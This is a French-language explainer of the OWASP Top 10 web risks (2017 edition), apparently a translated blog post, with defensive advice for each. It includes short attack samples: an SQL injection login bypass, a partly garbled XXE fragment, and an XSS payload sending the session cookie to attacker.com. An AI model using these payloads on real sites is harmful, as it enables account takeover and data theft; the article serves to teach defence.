Le top 10 des attaques web les plus courantes : Les premières étapes pour protéger votre site Web

Une statistique commune souvent partagée par les professionnels de l’InfoSec est « 78% des attaques sont contre l’application ».

Il ne se passe pas une semaine sans que l’on entende parler d’une énième brèche ou vulnérabilité massive, affectant des millions d’utilisateurs dans toutes les industries. Que ce chiffre soit exact ou qu’il ne soit en réalité que de 74 % (ou plus probablement plus proche de 85 %), une chose est claire : nos sites Web sont en danger, et si le vôtre n’a pas encore été attaqué, ce n’est qu’une question de temps et d’argent (et de motivation de l’attaquant).

Un aspect intéressant que beaucoup de ces attaques ont en commun est qu’elles ne sont pas hautement techniques et réalisables uniquement par les équipes avancées de hackers assis dans le sous-sol de la NSA. La source la plus courante de ces attaques est un groupe connu sous le nom de « script kiddies », des jeunes non formés qui téléchargent simplement des boîtes à outils automatisées sur Internet et tentent de craquer n’importe quel site aléatoire offrant des vulnérabilités faciles à exploiter. Même les cybercriminels les plus habiles commencent leurs premières tentatives en utilisant les mêmes boîtes à outils (ou des versions légèrement plus avancées de celles-ci).

Pourquoi devrions-nous nous en soucier ? Parce que cela signifie que les attaques les plus courantes, et les vulnérabilités les plus couramment exploitées, seront toujours la première et la plus faible chaîne de notre défense.

En conséquence, ce doit aussi être le point sur lequel nous concentrons nos premiers efforts pour étayer cette défense. Heureusement, il s’avère également être l’endroit le plus facile à tester et à assurer au moins un niveau minimal de sécurité.

Ces vulnérabilités communes ont été rassemblées dans une liste « Top Ten » par les sympathiques bénévoles de l’OWASP – l’Open Web Application Security Project, une organisation caritative mondiale à but non lucratif axée sur l’amélioration de la sécurité des logiciels.

Bien que cette liste Top Ten ne soit pas vraiment une « liste de contrôle de sécurité », c’est souvent le premier ensemble de vulnérabilités que les attaquants vont tenter. De même, il existe une pléthore d’outils automatisés qui analyseront votre site web au service des attaquants, leur permettant de découvrir rapidement les failles critiques qui leur donneront accès à vos objets de valeur.

Voici le Top 10 des risques de sécurité applicative de l’OWASP, édition 2017 :

1. Injection

Un attaquant peut être en mesure de manipuler votre application web pour modifier les commandes soumises à ses sous-systèmes, en envoyant simplement des requêtes malformées avec des charges utiles altérées. La plus connue de ces attaques est l’injection SQL, dans laquelle un utilisateur de votre site web peut amener votre application à modifier ceci:

select * from users where username=’AviD’ and password=’1234′
en this:
select * from users where username=’Admin’

Ceci permet à l’attaquant de se connecter à votre application en tant qu’administrateur, sans même connaître le mot de passe. D’autres utilisations de cette attaque seraient de voler des secrets (ou de l’argent), de modifier des données ou même d’effacer toute trace d’activité.

D’autres formes incluent l’injection LDAP, l’injection XPath, l’injection de commande, l’injection SMTP – chaque fois que l’application concatène une entrée utilisateur non fiable dans une commande qui est transmise à un interpréteur. Les données anormales peuvent tromper l’interprète en exécutant des commandes non souhaitées ou en accédant à des données sans autorisation appropriée.

Ces attaques peuvent généralement être évitées assez facilement en suivant quelques principes :

• Validez toutes les entrées non fiables avec une approche de liste blanche, quelle que soit la source.
• Toujours accéder à la base de données avec des requêtes paramétrées et des procédures stockées uniquement, au lieu de concaténer une requête de chaîne de caractères.
• Mieux encore, utiliser une bibliothèque ORM (Object Relational Mapping) appropriée (comme Hibernate, Entity Framework, ActiveRecord pour en nommer quelques-unes, selon votre plateforme).
• Limiter les dommages potentiels d’un exploit réussi en réduisant les privilèges de la base de données de l’application.

2. Authentification brisée

La plupart des applications exigent que leurs utilisateurs se connectent avant de l’utiliser, souvent avec une combinaison nom d’utilisateur/mot de passe. Il existe plusieurs types de failles communes à ce système d’authentification, qui peuvent être exploitées de diverses manières : attaques par dictionnaire, force brute automatisée, bourrage d’informations d’identification, détournement de session, et plus encore.

Un attaquant qui réussit à deviner un mot de passe valide serait en mesure d’usurper l’identité de cet utilisateur et d’effectuer toute action que sa victime serait en mesure de faire – sans pouvoir faire la différence entre l’attaquant et la victime.

Prévenir cela nécessite une approche multicouche :

• Changer tous les mots de passe par défaut.
• Enforcer des mots de passe forts et aléatoires pour tous les utilisateurs : au moins 12 caractères aléatoires, sans contraintes, de préférence stockés dans un gestionnaire de mots de passe ; ou alternativement, une phrase de passe avec au moins 5 mots aléatoires.
• Limiter les tentatives de connexion, en verrouillant le compte utilisateur pendant un certain temps après un certain nombre de mots de passe erronés.
• Utiliser un gestionnaire de session de plateforme sécurisée, qui génère de manière aléatoire des identifiants de session longs et met en œuvre un cycle de vie de session sécurisé.
• Protégez les mots de passe avec un algorithme cryptographique de « hachage de mot de passe », tel que Bcrypt, scrypt ou Argon2.

Envisagez également de mettre en œuvre une authentification multifactorielle pour atténuer les attaques basées sur les mots de passe, et ne permettez pas à un attaquant de contourner votre mot de passe en connaissant le nom de votre chat dans la page « Mot de passe oublié ». Il existe quelques détails supplémentaires qui peuvent être pertinents, en fonction de votre architecture et de votre contexte spécifiques.

3. Exposition de données sensibles

Les données secrètes doivent généralement être protégées par le chiffrement et d’autres algorithmes cryptographiques. Cependant, cela est trop souvent mis en œuvre, si tant est que ce soit le cas, de manière incomplète, ce qui permet aux attaquants de s’emparer d’informations sensibles qu’ils ne devraient pas pouvoir obtenir, notamment des mots de passe, des cartes de crédit, des informations personnelles (PII) et d’autres données critiques pour l’entreprise.

Certaines failles courantes incluent le fait de ne pas chiffrer les données ; de créer un schéma de chiffrement personnalisé au lieu des algorithmes et protocoles standard ; d’utiliser des clés faibles ; d’exposer les clés de chiffrement ; et de ne pas mettre en œuvre les protocoles correctement, par ex.par exemple, ne pas valider un certificat TLS.

L’utilisation de contrôles cryptographiques appropriés (tels que le cryptage AES pour les données stockées et TLS avec HSTS activé pour le trafic), avec les bons paramètres, devrait amplement protéger vos données sensibles à la fois au repos et en transit.

4. Entités externes XML (XXE)

Souvent, les applications doivent recevoir et traiter les documents XML des utilisateurs. Les analyseurs XML anciens ou mal configurés peuvent activer une fonctionnalité XML connue sous le nom de références d’entités externes dans les documents XML, qui, lorsqu’elles sont évaluées, incorporent le contenu d’un autre fichier. Les attaquants peuvent en abuser pour lire des données confidentielles, accéder à des systèmes internes, voire arrêter l’application dans le cadre d’une attaque par déni de service (DoS).

Par exemple, un document XML contenant ceci:

]>&xxe;

inclurait le contenu du fichier de mots de passe dans le document XML.

Cela peut être évité en désactivant simplement l’évaluation des DTD et des entités externes dans l’analyseur syntaxique, ou en mettant à niveau vers une bibliothèque d’analyseur syntaxique moderne qui n’est pas vulnérable.

5. Contrôle d’accès cassé

La plupart des applications web limitent ce que les utilisateurs peuvent voir ou faire, qu’il s’agisse d’accéder aux données personnelles d’un autre utilisateur ou à une zone restreinte.

Cependant, les mécanismes de contrôle d’accès qui appliquent ces limites sont généralement des implémentations sur mesure et souvent profondément défectueuses. Les attaquants peuvent contourner ces contrôles ou en abuser pour accéder à des fonctionnalités ou des données non autorisées, telles que l’accès aux comptes d’autres utilisateurs, la visualisation de fichiers sensibles, la modification des données d’autres utilisateurs, l’exécution d’actions administratives, et plus encore.

La correction et la prévention des failles de contrôle d’accès nécessitent effectivement une vision systémique. Un examen complet et approfondi de toutes les fonctionnalités de l’application, des exigences du système, des rôles des utilisateurs et d’autres contraintes est nécessaire. Il existe plusieurs modèles communs qui peuvent être appliqués, en fonction des exigences. Les plus courants sont le contrôle d’accès basé sur les rôles (RBAC), le contrôle d’accès discrétionnaire (DAC) et le contrôle d’accès basé sur l’intégrité ou obligatoire (MAC).

D’autres modèles plus niches peuvent être basés sur les attributs (ABAC), la politique (PBAC), le contexte (CBAC) et la classification (plusieurs modèles existent, notamment dans le DoD), ainsi que divers autres schémas personnalisés. Il est important de bien concevoir le modèle de contrôle d’accès, afin qu’il puisse être appliqué uniformément et administré efficacement. Partez du principe du moindre privilège, et n’autorisez que lorsque cela est nécessaire.

En outre, de nombreux systèmes doivent envisager d’appliquer des contrôles sur l’accès aux données personnelles des utilisateurs du point de vue de la vie privée. Il devient encore plus important de préserver adéquatement la vie privée des utilisateurs et d’empêcher l’accès sans consentement, notamment à la lumière de la mise à jour du GDPR de l’UE.

6. Mauvaise configuration de la sécurité

Les serveurs et les applications ont beaucoup de pièces mobiles qui doivent toutes être configurées correctement. Cela s’applique à tous les niveaux de la pile d’applications, du système d’exploitation et des périphériques réseau jusqu’au serveur web et à l’application elle-même.

Les configurations par défaut, incomplètes ou ad hoc peuvent laisser des fichiers non protégés, des mots de passe par défaut activés, des services cloud ouverts et faire fuir des informations sensibles par le biais de messages d’erreur ou d’en-têtes HTTP, ainsi que de nombreux autres paramètres non sécurisés qui pourraient permettre à un attaquant d’accéder au système ou aux données.

Bien sûr, il n’existe pas de paramètre unique qui empêcherait cette vulnérabilité. Tous les paramètres potentiellement vulnérables doivent être examinés. Notez que cela inclut également les mises à jour et les correctifs du système en temps opportun !

7. Cross-Site Scripting (XSS)

En utilisant XSS, un attaquant peut modifier les pages web que les autres utilisateurs voient dans votre application, que ce soit pour voler des informations telles que les mots de passe et les cartes de crédit, diffuser de fausses données, détourner les sessions des utilisateurs, rediriger vers un autre site ou exécuter des scripts malveillants dans le navigateur de la victime.

Cette vulnérabilité peut se produire chaque fois que des données non fiables sont incluses dans une page web ou une réponse, sans validation ou sanitization appropriée. L’attaquant peut soumettre des formulaires avec des fragments HTML ou JavaScript, qui seront incorporés directement dans la page et rendus par le navigateur.

Par exemple, ce code serveur :

response.write(« Bonjour,  » + request.getParameter(« Name »));

incorpore le paramètre Name de l’utilisateur directement dans la sortie. Ceci est destiné à retourner la page suivante, si le nom de l’utilisateur est « John »:

Bonjour, John

Au lieu de cela, un attaquant peut injecter une charge utile malveillante:

Bonjour, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

qui sera exécutée par le navigateur de l’utilisateur, envoyant son cookie de session à l’attaquant et permettant à ce dernier de détourner la session.

La principale protection contre les attaques XSS est l’utilisation d’un encodage approprié. Par exemple, l’encodage HTML transformera tous les caractères « spéciaux » en entités HTML, de sorte qu’ils s’affichent de la même manière pour l’utilisateur mais ne sont pas reconnus par l’analyseur syntaxique comme des balises HTML valides. Cependant, il existe d’autres formes d’encodage qui doivent être utilisées en fonction du contexte spécifique de la sortie des données, par exemple l’encodage des attributs, l’encodage JavaScript, l’encodage CSS, etc. La plupart des plates-formes web modernes fournissent cette fonctionnalité automatiquement ou sous forme d’appel de fonction, et il existe de nombreuses bibliothèques de sécurité pour celles qui ne le font pas.

En outre, c’est une bonne idée de mettre en œuvre la politique de sécurité du contenu (CSP), pour empêcher le navigateur de rendre une attaque XSS qui est passée à travers. Aussi, configurez vos cookies de session (soit dans votre code d’application ou dans la configuration du serveur web) pour inclure l’attribut HttpOnly, d’empêcher les exploits XSS réussis de détourner les sessions de vos utilisateurs.

8. Désérialisation non sécurisée

La plus récente addition à cette liste, la désérialisation non sécurisée peut permettre des attaques par injection et une élévation de privilèges, et même conduire à l’exécution de code à distance et à la prise de contrôle du serveur dans certaines situations.

De nombreuses applications ont besoin de sérialiser des objets et des données dans un format qui peut être facilement transmis sur le fil, ou même persisté dans un fichier. Lorsqu’une application restaure ces objets en mémoire en désérialisant les données formatées reçues d’un utilisateur, il pourrait être possible d’altérer la mémoire de l’objet, et même de lui faire exécuter des fonctions arbitraires.

La meilleure façon d’éviter la désérialisation non sécurisée est de ne jamais désérialiser des objets à partir de données non fiables du tout ! Il est de loin préférable d’éviter complètement les formats de désérialisation natifs lorsque cela est possible, en préférant un format de données tel que XML ou JSON.

S’il est nécessaire de désérialiser à partir du format natif, être capable de le faire en toute sécurité nécessite de comprendre les internes de votre langage de programmation. Il existe différentes étapes nécessaires pour le faire en toute sécurité, en fonction du langage dans lequel votre application a été développée. Par exemple, en Java, vous pouvez sous-classer la classe java.io.ObjectInputStream. En outre, il est recommandé de ne désérialiser qu’à partir de données que votre application a signées numériquement.

9. Utilisation de composants présentant des vulnérabilités connues

Les logiciels modernes ne sont plus construits comme un monolithe – ils reposent toujours sur un nombre de plus en plus important de composants tiers, de frameworks et de bibliothèques open source. Toute vulnérabilité connue trouvée dans ces dépendances peut également affecter directement votre propre application ! Parfois, cela conduira à d’autres vulnérabilités de cette liste, telles que l’injection, l’exécution de code à distance, ou toute autre faille qui pourrait permettre aux attaquants d’accéder à des données ou des actions sensibles.

Récemment, justement un tel problème a été blâmé pour la violation massive d’Equifax, où ils n’ont pas installé un correctif pour Apache Struts2. Au lieu de cela, ils sont restés sur une version qui était connue pour permettre aux attaquants distants d’exécuter des commandes arbitraires.

La meilleure façon d’éviter de tomber dans ce piège est de passer en revue toutes vos dépendances (y compris les dépendances transitives), et de vérifier si l’une d’entre elles est actuellement vulnérable. Mettez en place un processus pour vous assurer que votre application tire toujours les dernières versions stables de toutes les bibliothèques et composants dépendants après les avoir testés. En fait, il existe actuellement de nombreux outils commerciaux qui peuvent assurer ce suivi pour votre équipe, ainsi que le Dependency-Check gratuit de l’OWASP.

10. Journalisation insuffisante & Surveillance

Bien que nous essayions de rendre nos systèmes immunisés contre toutes les attaques possibles, de manière réaliste, nous devons accepter que certaines attaques passent à travers nos défenses. Cependant, une défense résiliente devrait inclure plusieurs couches. Cela inclut la possibilité de détecter les attaques qui ont réussi malgré tous nos efforts, de préférence le plus tôt possible.

Cela pourrait encore permettre à une organisation de se remettre de l’attaque, voire de minimiser les dommages autant que possible. Un mécanisme de journalisation et de surveillance, combiné à une réponse efficace aux incidents, peut empêcher les attaquants de pivoter vers des ressources internes supplémentaires, de s’incruster de façon permanente dans l’organisation, et les empêcher de voler ou d’altérer encore plus de données.

Mettre en place un mécanisme de journalisation commun pour l’ensemble de l’application. Il est préférable d’utiliser une bibliothèque existante, telle que log4J, mais ce n’est pas obligatoire. Le mécanisme de journalisation doit recueillir toutes les actions initiées par l’utilisateur, les erreurs d’exécution et tout autre événement sensible. Assurez-vous que les données du journal sont bien protégées, et n’oubliez pas de fournir aux administrateurs une interface de recherche et de révision !

La bonne nouvelle est que la plupart de ces problèmes sont relativement simples, et faciles à prévenir si vous savez quoi chercher. Par conséquent, bien que ce ne soit pas une liste exhaustive de tous les problèmes de sécurité auxquels vous devriez prêter attention, c’est certainement l’un des meilleurs endroits pour commencer votre expédition vers un site Web protégé !

.